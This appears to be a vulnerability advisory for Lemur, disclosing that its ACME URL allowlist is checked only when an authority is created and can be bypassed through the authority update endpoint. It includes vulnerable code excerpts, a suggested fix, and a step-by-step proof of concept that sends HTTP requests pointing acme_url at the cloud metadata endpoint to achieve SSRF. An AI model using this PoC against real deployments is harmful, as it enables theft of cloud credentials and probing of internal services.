PT-2026-80652 · Pypi · Lemur

Published

2026-08-19

·

Updated

2026-08-19

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The fix for GHSA-v2wp-frmc-5q3v added validate acme url() to reject acme url values not in ACME DIRECTORY HOST ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):
lemur/plugins/lemur acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create authority):
python
for option in plugin options:
  if option.get("name") == "certificate":
    acme root = option.get("value")
  if option.get("name") == "acme url":
     validate acme url(option.get("value", ""))  # allowlist enforced
validate acme url at line 35:
python
def validate acme url(url):
  """Reject acme url values that are not in the configured allowlist.

  Called at authority creation time only -- existing authorities in the DB
  were already trusted when they were created and are not re-validated.
  """
  allowed hosts = current app.config.get(
    "ACME DIRECTORY HOST ALLOWLIST",
    {"acme-v02.api.letsencrypt.org", ...},
  )
  parsed = urlparse(url)
  if parsed.scheme != "https" or parsed.hostname not in allowed hosts:
    raise InvalidConfiguration(...)
Where the gap is (PUT path -- unprotected):
lemur/authorities/views.py lines 405-424 (Authorities.put):
python
authority = service.get(authority id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority id, roles)

if not permission.can() or not StrictRolePermission().can():
  return dict(message="You are not authorized to update this authority."), 403

return service.update(
  authority id,
  owner=data["owner"],
  description=data["description"],
  active=data["active"],
  roles=data["roles"],
  options=data.get("options")    # stored verbatim -- no ACME URL check
)
lemur/authorities/service.py lines 28-46 (update):
python
def update(authority id, description, owner, active, roles, options=None):
  authority = get(authority id)
  authority.roles = roles
  authority.active = active
  authority.description = description
  authority.owner = owner
  if options:
    authority.options = options  # written to DB with no validate acme url call
  return database.update(authority)
Where the SSRF sink is:
lemur/plugins/lemur acme/acme handlers.py lines 157-188:
python
for option in json.loads(authority.options):
  options[option["name"]] = option.get("value")
directory url = options.get("acme url", current app.config.get("ACME DIRECTORY URL"))
...
directory = ClientV2.get directory(directory url, net)  # outbound HTTP to stored URL
With the default configuration (LEMUR STRICT ROLE ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:
  • Lemur 1.9.2, default config (LEMUR STRICT ROLE ENFORCEMENT not set, defaults to False)
  • Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
  • Attacker has a valid Lemur session token
Step 1 -- Authenticate as the non-admin user (role: TestRootCA operator):
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}
Response (truncated):
json
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
Step 2 -- Confirm identity (non-admin, no global operator role):
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response:
json
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA operator"}]}
Step 3 -- Overwrite acme url with an internal IMDS endpoint via authority update:
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
 "owner": "security@example.com",
 "description": "Let's Encrypt Production",
 "active": true,
 "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
 "options": "[{"name": "acme url", "value": "http://169.254.169.254/latest/meta-data/"}]"
}
Response (HTTP 200 -- no validation error):
json
{
 "id": 1,
 "name": "TestRootCA",
 "description": "Let's Encrypt Production",
 "options": [{"name": "acme url", "value": "http://169.254.169.254/latest/meta-data/"}],
 ...
}
Live validation output (observed on Lemur 1.9.2, 2026-06-19):
User: nonadvuln | ID: 2 | Roles: ['TestRootCA operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{"name": "acme url", "value": "http://169.254.169.254/latest/meta-data/"}]"
Step 4 -- Trigger SSRF:
Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup acme client(), which executes:
python
directory url = options.get("acme url", ...) # reads stored malicious URL
directory = ClientV2.get directory(directory url, net) # outbound request
The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).
Suggested fix:
Call validate acme url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:
python
# in lemur/authorities/service.py update()
if options:
  from lemur.plugins.lemur acme.plugin import validate acme url
  import json
  for opt in json.loads(options) if isinstance(options, str) else options:
    if opt.get("name") == "acme url":
       validate acme url(opt.get("value", ""))
  authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme url with an arbitrary URL, bypassing the ACME DIRECTORY HOST ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3679

Affected Products

Lemur